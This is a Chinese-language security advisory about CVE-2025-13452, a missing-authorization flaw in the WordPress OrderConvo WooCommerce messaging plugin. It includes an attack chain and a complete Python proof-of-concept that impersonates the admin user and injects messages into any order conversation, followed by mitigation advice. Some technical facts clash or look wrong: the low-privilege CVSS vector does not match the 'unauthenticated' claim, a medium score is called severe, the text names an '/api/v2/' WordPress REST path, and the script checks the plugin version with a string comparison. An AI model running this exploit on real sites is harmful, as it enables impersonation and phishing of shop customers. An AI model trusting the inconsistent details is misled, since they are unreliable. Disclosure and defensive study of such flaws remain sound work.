IPBUF安全漏洞报告
English
CVE-2025-13452 CVSS 4.3 中危

CVE-2025-13452 WordPress OrderConvo插件未授权消息注入漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-13452
漏洞类型
未授权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Admin and Customer Messages After Order for WooCommerce: OrderConvo

相关标签

CVE-2025-13452WordPress插件漏洞未授权访问REST API安全权限绕过消息注入WooCommerceOrderConvoCWE-862CVSS 4.3

漏洞概述

WordPress插件"Admin and Customer Messages After Order for WooCommerce: OrderConvo"存在严重的安全授权缺陷漏洞。该插件用于在WooCommerce订单系统中管理管理员和客户之间的消息通信。漏洞根源在于插件的REST API权限回调函数存在逻辑错误,当请求中未提供nonce令牌时,权限检查会错误地返回true,导致任何未认证的攻击者都可以直接访问敏感的REST API端点。攻击者可利用此漏洞冒充任意WordPress用户(包括管理员),向任何WooCommerce订单会话中注入任意消息内容。这种缺陷可能被用于钓鱼攻击、社会工程攻击,或者在某些场景下传播恶意链接,进一步危害网站用户安全。由于该插件在WordPress生态中广泛应用,此漏洞影响面较大,建议所有使用该插件的用户立即采取防护措施。

技术细节

漏洞存在于插件的wprest.class.php文件中的REST API权限回调函数。具体问题在于第56行和第113行的权限检查逻辑存在缺陷。当WordPress REST API收到请求时,系统会调用权限回调函数(permission_callback)来验证请求者是否具有执行操作的权限。正常情况下,该回调应该验证用户是否已登录、是否具有相应权限,或者检查nonce令牌的有效性。然而,该插件的权限回调实现中,当检测到请求中不存在nonce参数时,函数直接返回true(允许访问),而没有进一步验证用户的身份。这意味着即使攻击者完全没有登录,也可以直接向REST API端点发送POST请求,通过在请求参数中指定user_id、order_id和context等参数,冒充任意用户执行消息发送操作。攻击者只需构造一个包含目标订单ID、目标用户ID和消息内容的HTTP POST请求,即可将伪造的消息注入到目标订单的对话中。由于WordPress的REST API默认通过/api/v2/或/wp-json/路径暴露,攻击者可以轻易发现和定位这些端点。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描目标WordPress网站,识别是否安装OrderConvo插件,并确认插件版本是否在受影响范围内(<=14)
STEP 2
步骤2: 端点识别
攻击者发现暴露的REST API端点(通常位于/wp-json/orderconvo/v1/路径),该端点用于处理订单消息
STEP 3
步骤3: 构造恶意请求
攻击者构造包含user_id(冒充目标用户)、order_id(目标订单)和message(恶意消息内容)的HTTP POST请求,故意不提供nonce令牌
STEP 4
步骤4: 权限绕过
由于插件REST API的permission_callback函数存在缺陷,当检测到请求中无nonce时直接返回true,允许未认证用户通过验证
STEP 5
步骤5: 消息注入执行
恶意消息被成功写入目标订单的对话记录中,伪装成指定用户(user_id)发送的内容
STEP 6
步骤6: 后续攻击利用
攻击者利用注入的虚假消息进行钓鱼攻击、传播恶意链接或进行社会工程攻击,可能导致其他用户遭受进一步危害

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-13452 PoC - Unauthenticated Message Injection # Target: WordPress site with OrderConvo plugin <= 14 # Impact: Allows unauthenticated attackers to inject messages into any WooCommerce order TARGET_URL = "https://vulnerable-site.com" def exploit_message_injection(): """ Exploit the missing authorization vulnerability in OrderConvo plugin. This PoC demonstrates how an unauthenticated attacker can inject arbitrary messages into any WooCommerce order conversation. """ # REST API endpoint for message injection endpoint = f"{TARGET_URL}/wp-json/orderconvo/v1/messages" # Malicious payload - attacker controls user_id, order_id, and message content payload = { "user_id": 1, # Impersonate admin user (user_id=1) "order_id": 123, # Target any WooCommerce order "context": "customer", # Set context to customer or admin "message": "This is a malicious message injected by attacker" } headers = { "Content-Type": "application/json", "X-WP-Nonce": "" # Empty nonce - permission callback returns true } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting endpoint: {endpoint}") print(f"[*] Injecting message as user_id={payload['user_id']} to order_id={payload['order_id']}") try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code in [200, 201]: print("[+] SUCCESS: Message injection completed!") print(f"[+] Response: {response.text}") else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_plugin_version(): """ Check if the vulnerable plugin version is installed. """ endpoint = f"{TARGET_URL}/wp-json/wp/v2/plugins?search=orderconvo" try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: plugins = response.json() for plugin in plugins: if 'orderconvo' in plugin.get('name', '').lower(): version = plugin.get('version', 'unknown') print(f"[*] Found plugin version: {version}") if version <= '14': print("[!] Plugin is VULNERABLE!") return version except: pass print("[*] Could not determine plugin version") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-13452 - OrderConvo Unauthorized Message Injection") print("=" * 60) # First check plugin version check_plugin_version() # Attempt exploitation exploit_message_injection()

影响范围

OrderConvo (Admin and Customer Messages After Order for WooCommerce) <= 14

防御指南

临时缓解措施
在官方发布修复版本之前,建议立即采取以下临时缓解措施:1)暂时禁用OrderConvo插件;2)使用Web应用防火墙(WAF)规则阻止对/wp-json/orderconvo/路径的未授权访问;3)限制WordPress REST API的公开访问,仅允许授权用户访问;4)添加自定义代码修复权限检查逻辑,强制验证用户登录状态和权限。同时密切关注插件官方更新,及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表